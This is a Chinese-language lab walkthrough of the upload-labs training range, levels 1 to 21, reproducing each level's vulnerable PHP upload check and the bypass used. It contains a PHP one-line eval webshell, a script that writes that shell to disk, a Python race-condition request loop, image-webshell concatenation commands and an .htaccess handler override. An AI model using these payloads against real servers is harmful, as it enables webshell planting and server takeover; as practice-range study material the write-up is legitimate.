【Web安全靶场】upload-labs-master 1-21

news2025/1/24 1:27:08

upload-labs-master

其他靶场见专栏…

文章目录

  • upload-labs-master
    • Pass-01-js前端校验
    • Pass-02-MIME校验
    • Pass-03-其他后缀绕过黑名单
    • Pass-04-.hatccess绕过
    • Pass-05-点空格点代码逻辑绕过
    • Pass-06-大小写绕过
    • Pass-07-空格绕过
    • Pass-08-点号绕过
    • Pass-09-::$DATA绕过
    • Pass-10-点空格点代码逻辑绕过
    • Pass-11-双写绕过
    • Pass-12-Get型%00截断
    • Pass-13-Post型%00截断
    • Pass-14-图片木马与文件包含漏洞
    • Pass-15-图片木马与文件包含漏洞
    • Pass-16-图片木马与文件包含漏洞
    • Pass-17-图片木马二次渲染
    • Pass-18-删除操作条件竞争
    • Pass-19-重命名操作条件竞争
    • Pass-20-pathinfo()
    • Pass-21-分段参数数组

由于upload-labs版本问题,可能有的题号对不上。

Pass-01-js前端校验

上传一个phpinfo()的php文件,点击上传发现抓包没有反应,但是网页上出现弹窗显示“该文件不允许上传,请上传jpgl、png、pngl、gif类型的文件,当前文件类型为php,所以猜测这是进行了js前端校验,js前端校验是可以人为控制的,可以在网页设置那里禁用js,也可以上传一个正常的文件,然后抓包修改。查看源代码:

function checkFile() {
   var file = document.getElementsByName('upload_file')[0].value;
   if (file == null || file == "") {
       alert("请选择要上传的文件!");
       return false;
   }
   //定义允许上传的文件类型
   var allow_ext = ".jpg|.png|.gif";
   //提取上传文件的类型
   var ext_name = file.substring(file.lastIndexOf("."));
   //判断上传文件类型是否允许上传
   if (allow_ext.indexOf(ext_name + "|") == -1) {
       var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
       alert(errMsg);
       return false;
   }
}

前端代码中对上传文件的后缀进行了校验,所以只要绕过前端校验就行了。

在这里插入图片描述

在这里插入图片描述

Pass-02-MIME校验

上传一个phpinfo的php’文件,前端没有进行校验,点击上传提示”文件类型不正确,请重新上传“,查看源代码发现,后端对数据包的MIME进行检查,MIME是描述消息内容类型的标准,用来表示文档、文件或字节流的性质和格式。

服务端MIME类型检测是通过检查http中包含的Content-Type字段中的值来判断上传文件是否合法的。利用Burpsuite抓包,将报文中的Content-Type改成允许的类型

  • Content-Type: image/gif(gif图像)
  • Content-Type: image/jpg(jpg图像)
  • Content-Type: image/png(png图像)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
   if (file_exists(UPLOAD_PATH)) {
       if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
           $temp_file = $_FILES['upload_file']['tmp_name'];
           $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
           if (move_uploaded_file($temp_file, $img_path)) {
               $is_upload = true;
           } else {
               $msg = '上传出错!';
           }
       } else {
           $msg = '文件类型不正确,请重新上传!';
       }
   } else {
       $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
   }
}

在这里插入图片描述

Pass-03-其他后缀绕过黑名单

这一关进行了后端黑名单认证,并且进行了一些点号空格等过滤,黑名单有一个坏处就是很难把所有的后缀包含进去,比如说php可以变为php2、php3等,大小写,双写啥的。查看源代码发现黑名单只有4个,所以我们可以使用其他的脚本后缀,比如说php5、php4、phtml等,其中这些后缀需要知道php版本和apache的配置,不是所有网站都可以的,需要在配置文件httpd.conf中需要有将AddType application/x-httpd-php .php .phtml .phps .php1 .php4 .pht 这样的一段话前面的注释删除,重启phpstudy让其生效。(不知道这个文件的可以先看19关)

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
   if (file_exists(UPLOAD_PATH)) {
       $deny_ext = array('.asp','.aspx','.php','.jsp');
       $file_name = trim($_FILES['upload_file']['name']);
       $file_name = deldot($file_name);//删除文件名末尾的点
       $file_ext = strrchr($file_name, '.');
       $file_ext = strtolower($file_ext); //转换为小写
       $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
       $file_ext = trim($file_ext); //收尾去空

       if(!in_array($file_ext, $deny_ext)) {
           $temp_file = $_FILES['upload_file']['tmp_name'];
           $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
           if (move_uploaded_file($temp_file,$img_path)) {
                $is_upload = true;
           } else {
               $msg = '上传出错!';
           }
       } else {
           $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
       }
   } else {
       $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
   }
}

Pass-04-.hatccess绕过

这一关的黑名单是上一关的几倍,所以不能使用php5、phtml等绕过了,并且点号、空格、::DATA这些也实现不了,所以尝试一下.htaccess配置文件绕过,.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置.通过htaccess文件,可以实现:网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
<FilesMatch "x.png">   
SetHandler application/x-httpd-php
</FilesMatch>

这个.htaccess文件片段的作用是告诉Apache,当访问文件名为x.png的文件时,将其当作PHP脚本来执行。

上传一个.htaccess文件,之后上传一个x.png文件即可解析。

前提是配置环境:httpd.conf里面将AllowOverride置为All(默认为None),接着搜索mod_rewrite,将此模块前面的注释符删掉,重启。网上是这样教的,如果不行的话就是你的版本太高了,我一开始用的v8,后面换成了2016版的就可以了。注意别把htaccess文件弄成hatccess文件!

在这里插入图片描述

Pass-05-点空格点代码逻辑绕过

查看源代码发现,存在大小写转换函数,并且htaccess后缀被过滤了,所以我们要尝试从代码逻辑上考虑绕过。首先这一段代码,删除了文件名后面的点,接着.php.最后一个点作为后缀分隔符,即**$file_ext=.,之后将字母转化为小写,然后去除字符串::$DATA,最后首尾去空。所以我们可以构造x.php. .**(有一个空格),这样源代码中删除了一个点还剩下一个点和空格从而绕过黑名单。而且在window下,文件名会因为规范而忽略后面的内容。(不知道为啥apache版本高会出现上传出错,如果上传出错你可以在第一关试一下,再不行就装低版本的phpstudy)。

这是我echo file_ext的值(分割之后的),echo网上很多博主讲错了,他们把strrchr函数认为是从第一个符合条件的字符开始。

在这里插入图片描述

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
   if (file_exists(UPLOAD_PATH)) {
       $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
       $file_name = trim($_FILES['upload_file']['name']);
       $file_name = deldot($file_name);//删除文件名末尾的点
       $file_ext = strrchr($file_name, '.');
       $file_ext = strtolower($file_ext); //转换为小写
       $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
       $file_ext = trim($file_ext); //首尾去空
       
       if (!in_array($file_ext, $deny_ext)) {
           $temp_file = $_FILES['upload_file']['tmp_name'];
           $img_path = UPLOAD_PATH.'/'.$file_name;
           if (move_uploaded_file($temp_file, $img_path)) {
               $is_upload = true;
           } else {
               $msg = '上传出错!';
           }
       } else {
           $msg = '此文件类型不允许上传!';
       }
   } else {
       $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
   }
}

在这里插入图片描述

Pass-06-大小写绕过

这一关比较容易想得出来,因为它少了小写转换函数。本来想的是这里也可以使用点空格点进行绕过,但是发现不行,最后的文件名少了后缀,再分析一下源代码发现,它使用的是**$img_path = UPLOAD_PATH.‘/’.date(“YmdHis”).rand(1000,9999).$file_ext;**,这是没有php后缀的。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
   if (file_exists(UPLOAD_PATH)) {
       $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
       $file_name = trim($_FILES['upload_file']['name']);
       $file_name = deldot($file_name);//删除文件名末尾的点
       $file_ext = strrchr($file_name, '.');
       $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
       $file_ext = trim($file_ext); //首尾去空

       if (!in_array($file_ext, $deny_ext)) {
           $temp_file = $_FILES['upload_file']['tmp_name'];
           $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
           if (move_uploaded_file($temp_file, $img_path)) {
               $is_upload = true;
           } else {
               $msg = '上传出错!';
           }
       } else {
           $msg = '此文件类型不允许上传!';
       }
   } else {
       $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
   }
}
  • 大小写绕过:

在这里插入图片描述

Pass-07-空格绕过

这一关少了去掉空格的函数,所以这一关很简单,同样也是利用window的文件后缀的规范性,抓包在文件后缀后面加个空格就行了,而且不像上一关使用点空格点这样php丢掉了…

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
   if (file_exists(UPLOAD_PATH)) {
       $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
       $file_name = $_FILES['upload_file']['name'];
       $file_name = deldot($file_name);//删除文件名末尾的点
       $file_ext = strrchr($file_name, '.');
       $file_ext = strtolower($file_ext); //转换为小写
       $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
       
       if (!in_array($file_ext, $deny_ext)) {
           $temp_file = $_FILES['upload_file']['tmp_name'];
           $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
           if (move_uploaded_file($temp_file,$img_path)) {
               $is_upload = true;
           } else {
               $msg = '上传出错!';
           }
       } else {
           $msg = '此文件不允许上传';
       }
   } else {
       $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
   }
}

最终echo $file_ext的值为:

在这里插入图片描述

Pass-08-点号绕过

在第一眼看这一份代码的时候好像是没啥思路的,这是因为我们认为strrchr就是用来过滤点的,但它其实是用来分割点的,对比之前的代码,这一关少了对末尾点的过滤,所以在进行strrchr时候得到的只是一个点号,直接就绕过黑名单了,并且文件名是使用分割前的,并不用随机数字。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
   if (file_exists(UPLOAD_PATH)) {
       $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
       $file_name = trim($_FILES['upload_file']['name']);
       $file_ext = strrchr($file_name, '.');
       $file_ext = strtolower($file_ext); //转换为小写
       $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
       $file_ext = trim($file_ext); //首尾去空
       
       if (!in_array($file_ext, $deny_ext)) {
           $temp_file = $_FILES['upload_file']['tmp_name'];
           $img_path = UPLOAD_PATH.'/'.$file_name;
           if (move_uploaded_file($temp_file, $img_path)) {
               $is_upload = true;
           } else {
               $msg = '上传出错!';
           }
       } else {
           $msg = '此文件类型不允许上传!';
       }
   } else {
       $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
   }
}

在这里插入图片描述

Pass-09-::$DATA绕过

这一关查看源代码发现少了过滤::$DATA,但我并不知道这是啥,上网搜了一下:

在window下,如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名。所以我们添加这一个然后echo一下过程看看:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
   if (file_exists(UPLOAD_PATH)) {
       $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
       $file_name = trim($_FILES['upload_file']['name']);
       $file_name = deldot($file_name);//删除文件名末尾的点
       $file_ext = strrchr($file_name, '.');
       $file_ext = strtolower($file_ext); //转换为小写
       $file_ext = trim($file_ext); //首尾去空
       
       if (!in_array($file_ext, $deny_ext)) {
           $temp_file = $_FILES['upload_file']['tmp_name'];
           $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
           if (move_uploaded_file($temp_file, $img_path)) {
               $is_upload = true;
           } else {
               $msg = '上传出错!';
           }
       } else {
           $msg = '此文件类型不允许上传!';
       }
   } else {
       $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
   }
}

这里echo的是首尾去空之后的值,同样上传上去之后文件名会把后面的::$data省略掉。

在这里插入图片描述

Pass-10-点空格点代码逻辑绕过

这一关似曾相识,因为看到存储文件的命名方式,所以就想到使用点空格点来绕过黑名单检测了

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
   if (file_exists(UPLOAD_PATH)) {
       $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
       $file_name = trim($_FILES['upload_file']['name']);
       $file_name = deldot($file_name);//删除文件名末尾的点
       $file_ext = strrchr($file_name, '.');
       $file_ext = strtolower($file_ext); //转换为小写
       $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
       $file_ext = trim($file_ext); //首尾去空
       
       if (!in_array($file_ext, $deny_ext)) {
           $temp_file = $_FILES['upload_file']['tmp_name'];
           $img_path = UPLOAD_PATH.'/'.$file_name;
           if (move_uploaded_file($temp_file, $img_path)) {
               $is_upload = true;
           } else {
               $msg = '上传出错!';
           }
       } else {
           $msg = '此文件类型不允许上传!';
       }
   } else {
       $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
   }
}

在这里插入图片描述

Pass-11-双写绕过

这一关的代码和之前的有些不同,不能使用点、空格绕过之类的,因为它存在**$file_name = str_ireplace($deny_ext,“”, $file_name);**函数会将file_name里面出现在黑名单里面的字符去掉,可能会想到使用大小写绕过,但是这个函数是对大小写不敏感的。由于只进行了一次替换,所以我们可以进行双写绕过:

在这里插入图片描述

Pass-12-Get型%00截断

看到这一道题一开始没啥思路的,因为它使用的是白名单,一开始想的是使用双后缀,但是文件名是随机数,所以无效。后来发现源代码存在get参数,而get参数是save_path,这说明存储位置是可控的,那我把存储位置后面加个phpinfo.php%00,会怎么样?

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
   $ext_arr = array('jpg','png','gif');
   $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
   if(in_array($file_ext,$ext_arr)){
       $temp_file = $_FILES['upload_file']['tmp_name'];
       $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

       if(move_uploaded_file($temp_file,$img_path)){
           $is_upload = true;
       } else {
           $msg = '上传出错!';
       }
   } else{
       $msg = "只允许上传.jpg|.png|.gif类型文件!";
   }
}

由于php底层是由C语言写的,而C语言遇到空字符就认为字符串结束了,所以我们如果添加%00,php会认为字符串已经结束了。实验环境,php版本小于5.3,5.3也不行。magic_quote_gpc为off。

在这里插入图片描述

Pass-13-Post型%00截断

查看源代码和上一关差不多,但是获取Get参数变为获取Post参数而已,改包过程中有些不一样了:

$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

首先先输入%00先然后选中,右键找到Convert selection->URL->URL-decode:

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

Pass-14-图片木马与文件包含漏洞

这一关已经很明确说了要使用图片木马,查看源码得知,这一关是检查文件头的,判断一个文件是什么不仅仅看文件后缀,还看文件头,我们可以通过构造图片木马使其有图片文件的文件头,也有木马文件。

JPEG (jpg),文件头:FFD8FF
PNG (png),文件头:89504E47
GIF (gif),文件头:47494638
TIFF (tif),文件头:49492A00
Windows Bitmap (bmp),文件头:424D
CAD (dwg),文件头:41433130
Adobe Photoshop (psd),文件头:38425053
Rich Text Format (rtf),文件头:7B5C727466
XML (xml),文件头:3C3F786D6C
HTML (html),文件头:68746D6C3E
对于linux:cat pictures.jpg shell.php > shell.jpg
对于windows:copy pictures.jpg /b + shell.php /a shell.jpg

在这里插入图片描述

我直接上传却失败了,但不知道什么原因,所以我查看它的每一个字节,将一句话木马插入到\0里面:

在这里插入图片描述

接着使用文件包含漏洞,查看网站源代码,发现include.php:

<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
   include $file;
}else{
   show_source(__file__);
}
?>

接着使用蚁剑:

URL地址:http://192.168.255.128/upload-labs-master/include.php?file=upload/8120240305150003.jpg

在这里插入图片描述

Pass-15-图片木马与文件包含漏洞

这一关和上一关一样的,只不过使用的函数不一样而已:

function isImage($filename){
   $types = '.jpeg|.png|.gif';
   if(file_exists($filename)){
       $info = getimagesize($filename);
       $ext = image_type_to_extension($info[2]);
       if(stripos($types,$ext)>=0){
           return $ext;
       }else{
           return false;
       }
   }else{
       return false;
   }
}
getimagesize() 函数将测定任何
GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP
图像文件的大小并返回图像的尺寸以及文件类型和一个可以用于普通 HTML 文件中 IMG 标记中的 height/width 文本字符串。
如果不能访问 filename 指定的图像或者其不是有效的图像,getimagesize() 将返回 false 并产生一条 E_WARNING 级的错误。

还是使用上一关的方法,这里就不多解释了。

Pass-16-图片木马与文件包含漏洞

这一关又换了一个检测文件的函数,exif_imagetype() 读取一个图像的第一个字节并检查其签名。

还是使用第十四关的方法就可以了,至于这两个函数有什么细节实在找不到。

Pass-17-图片木马二次渲染

这一关代码很长,但可以看作三个一样的部分,上传之前的图片马,发现确实可以上传但是连接不上,所以下载下来用十六进制打开,发现一句话木马没了,查询资料知道二次渲染会导致一些没用的信息给替换或者去掉,可以查看这一篇文章对于二次渲染绕过挺详细的,这里就用里面最简单的gif文件二次渲染绕过试一下。

以下是我用winhex打开的两张图片,可以看到,28709.gif(我上传的)与1.gif(我原来的)有些不一样:

在这里插入图片描述

在这里插入图片描述

可以看到有一些位置是不一样的,但是也有一样的,二次渲染的原理就是在一样的地方添加代码,尝试一下:

在这里插入图片描述

在这里插入图片描述

可见这一块并没有被渲染,并且用蚁剑利用文件包含是可以连接成功的

Pass-18-删除操作条件竞争

这一关的提示是代码审计

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;

if(move_uploaded_file($temp_file, $upload_file)){
  if(in_array($file_ext,$ext_arr)){
       $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
       rename($upload_file, $img_path);
       $is_upload = true;
  }else{
      $msg = "只允许上传.jpg|.png|.gif类型文件!";
      unlink($upload_file);
  }
}else{
  $msg = '上传出错!';
}
}

如果看代码的作用的话确实没啥漏洞的,但是在看代码逻辑上,确实先保存文件到服务器再进行白名单校验,如果不通过就删除文件。网上搜了一下,unlink()函数还是可以删除已经打开的脚本文件,但是如果连接上了,也会被删除。所以我们上传的脚本文件不是一个一句话木马这样简单,我们需要通过上传的脚本文件,再建立一个脚本文件。

<?php
$new_file_name = "shell.php";
$shell_content = '<?php @eval($_POST[\'x\']);?>';

if (file_put_contents($new_file_name, $shell_content) != false) {
   echo "Shell文件创建成功";
} else {
   echo "创建Shell文件失败";
}
?>

我们用burpsuite截获数据包并且发送到intruder模块,使用python的requests库构造请求试一下:

import requests
import time

url = "http://192.168.255.128/upload-labs-master/upload/build_shell.php"
rate = 5
duration = 6000
interval = 1 / rate
start_time = time.time()

print("action...")
while time.time() - start_time < duration:
   try:
       response = requests.get(url)
       if response.status_code == 200:
           print("success!!!!!!!")
           break
       else:
           print(response.status_code, end='')
       time.sleep(interval)
   except requests.RequestException as e:
       print("Error: " + str(e))
       break

试了很久才出来,但原理是在那的,其实把存入数据库和检查白名单之间加个sleep()函数其实明显一点。

Pass-19-重命名操作条件竞争

这一关比较复杂吧,学了一下这一关的知识点,现在来总结一下。

首先先来看两个文件:mime.types和http.conf文件。

  • mime.types文件包含文件扩展名与MIME类型之间的映射关系,这些映射告诉Apache服务器如何处理不同类型的文件。这种映射通常用于指定浏览器如何显示文件。例如mime.types文件中有image/jpeg–jpg的映射时,那么服务器收到一个以.jpg结尾的文件请求时,它会把文件的内容和类型发送给浏览器,浏览器会根据Content-Type显示内容。
  • http.conf文件:这个文件要了解的是两个指令AddHandler和AddType指令。AddHandler指令将文件扩展名映射到指令的处理程序,告诉服务器如何处理文件类型,优先于mime.types文件的映射,例如使用AddHanlder application/x-httpd-php .phtml指令,只要文件名包含这个后缀就会将其交给php解析模块执行,无论mime.types文件是否有映射。而AddType指令弱一点,mime.types优先于AddType指令。

两个文件的联系:Apache默认支持多个文件后缀名,可以搜一下Apache文件解析漏洞。当一个文件名有多个点分割的后缀时,Apache会从最右开始识别,如果遇到无法识别的后缀名就从右向左依次识别,如果上传了一个shell.php.jpg文件,而mime.types文件和httpd.conf文件没有对于jpg后缀的解析,则可能执行文件中的恶意代码。

演示的话看这一篇博客吧,文件上传upload-labs 第19关 Apache解析漏洞配合条件竞争。

我在我的mime.types文件上没有找到我的7z的映射(有zip映射),同时将httpd.conf的AddType application/x-httpd-php .php .phtml注释去掉了,重启apache服务,创建一个一句话木马以.php.7z结尾,使用蚁剑连接是可以连接上的:

在这里插入图片描述

按照mime.types和这两个指令的关系进行测试也是能达到预期的结果,这里就不往下写了,上面的那一片博客有演示。

所以利用这个解析漏洞我们就可以访问到我们上传的脚本文件,回到这一道题,先来看看它的源代码,看的会很晕总结下来就是

  • 判断这个文件是否已经被上传到服务器的临时目录。
  • 设置上传的目标目录,并检查这个目标目录是否有可写权限。
  • 白名单判断,大小限制判断,相同名称判断。
  • 文件移动到目标路径。
  • 根据时间函数重命名

我们利用的条件竞争就是移动和重命名这两个过程,因为它重命名不是删除,所以让它重命名失败就行了,至于如何做?因为它的随机函数是按时间来的,而时间函数有个精度,这个函数不详细讲了,简单来说就是极短时间间隔下会产生相同的时间随机数。如果第一个文件上传了并且也重命名了,同时第二个文件在第一个文件发送之后立刻发送,时间函数由于精度产生相同的时间随机数,在重命名的过程之中就会因为重复名称而失败,这个文件不会被删除!这样利用文件解析漏洞就可以构造我们的webshell。

我们使用burpsuite的intruder模块将shell.php.7z(7z是白名单并且mime.types没有解析它的映射)发送,假设发了50个包,会发现目标服务器中就几个新的文件。但是并没有重命名失败的文件啊!!!分析过程,假设第二个是重命名失败的,这时第三个文件发送过来,第三个文件会覆盖第二个文件(原始名称一样),但是时间随机数在一段极短间隔后变化了,第三个就会被重命名。所以总结出!!!重命名失败的文件最好是最后一个发送过来的文件,所以使用Repeater模块(当然intruder也可以),点击三四下够了。

这一道题没有图,图片解释不了什么,过程已经很清楚了。

Pass-20-pathinfo()

这一关学了一个新函数pathinfo(),它有两个参数,一个是文件路径,一个是选项,返回一个关联数组。它包含5个选项:

  • PATHINFO_DIRNAME:返回目录名
  • PATHINFO_BASENAME:返回基本文件名,不包括目录名和扩展名
  • PATHINFO_EXTENSION:返回扩展名,不包括斜杠和反斜杠,从最后一个点号开始查找
  • PATHINFO_FILENAME:返回文件名,不包括目录名和斜杠
  • PATHINFO_ALL:默认参数,返回全部
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
   if (file_exists(UPLOAD_PATH)) {
       $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

       $file_name = $_POST['save_name'];
       $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

       if(!in_array($file_ext,$deny_ext)) {
           $temp_file = $_FILES['upload_file']['tmp_name'];
           $img_path = UPLOAD_PATH . '/' .$file_name;
           if (move_uploaded_file($temp_file, $img_path)) { 
               $is_upload = true;
           }else{
               $msg = '上传出错!';
           }
       }else{
           $msg = '禁止保存为该类型文件!';
       }

   } else {
       $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
   }
}

PATHINFO_EXTENSION常量表示识别任何有效的拓展名,如果拓展名有斜杠 / 或者 \ 就忽略,返回文件名最后一个点号后面的字符串作为拓展名。如果遇到最后一个点号后面没有拓展名或者拓展名无效就返回为空。

如果服务器是在windows则可以利用windows对于文件扩展名的规范性来实现,比如点,点空格点,::$DATA等。

如果是linux,在php版本低于5.3可以使用可以使用%00截断(其实windows也可以),linux使用x.php/.

我的是windows:

在这里插入图片描述

使用蚁剑,连接成功。

Pass-21-分段参数数组

这一关其实我很懵逼…

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
   //检查MIME
   $allow_type = array('image/jpeg','image/png','image/gif');
   if(!in_array($_FILES['upload_file']['type'],$allow_type)){
       $msg = "禁止上传该类型文件!";
   }else{
       //检查文件名
       $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
       if (!is_array($file)) {
           $file = explode('.', strtolower($file));
       }

       $ext = end($file);
       $allow_suffix = array('jpg','png','gif');
       if (!in_array($ext, $allow_suffix)) {
           $msg = "禁止上传该后缀文件!";
       }else{
           $file_name = reset($file) . '.' . $file[count($file) - 1];
           $temp_file = $_FILES['upload_file']['tmp_name'];
           $img_path = UPLOAD_PATH . '/' .$file_name;
           if (move_uploaded_file($temp_file, $img_path)) {
               $msg = "文件上传成功!";
               $is_upload = true;
           } else {
               $msg = "文件上传失败!";
           }
       }
   }
}else{
   $msg = "请选择要上传的文件!";
}

先说一下这份代码做啥用的:

  • 首先进行Content-Type字段检查。
  • 接着检查文件名,如果自定义文件名不存在则使用上传文件原来的名字。
  • 默认自定义文件名存在,判断是否为数组,不是的话按照点号分割开,成为数组。
  • 取数组的最后一个元素为后缀进行白名单校验。
  • 校验成功,取数组第一个元素与后缀拼接,保存。

这里的漏洞就是判断是否为数组,其实上传的数据报里的数据也可以是一个数组,之前没有见过,下面是答案:

在这里插入图片描述

其中我们上传的save_name就是一个数组,这时候就不会被截断了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1495309.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

2024年腾讯云8核16G18M服务器租用价格1668元15个月

2024年腾讯云8核16G18M服务器租用价格1668元15个月&#xff0c;270GB SSD云硬盘&#xff0c;3500GB月流量。 一张表看懂腾讯云服务器租用优惠价格表&#xff0c;一目了然&#xff0c;腾讯云服务器分为轻量应用服务器和云服务器CVM&#xff0c;CPU内存配置从2核2G、2核4G、4核8…

【开源】JAVA+Vue.js实现学校热点新闻推送系统

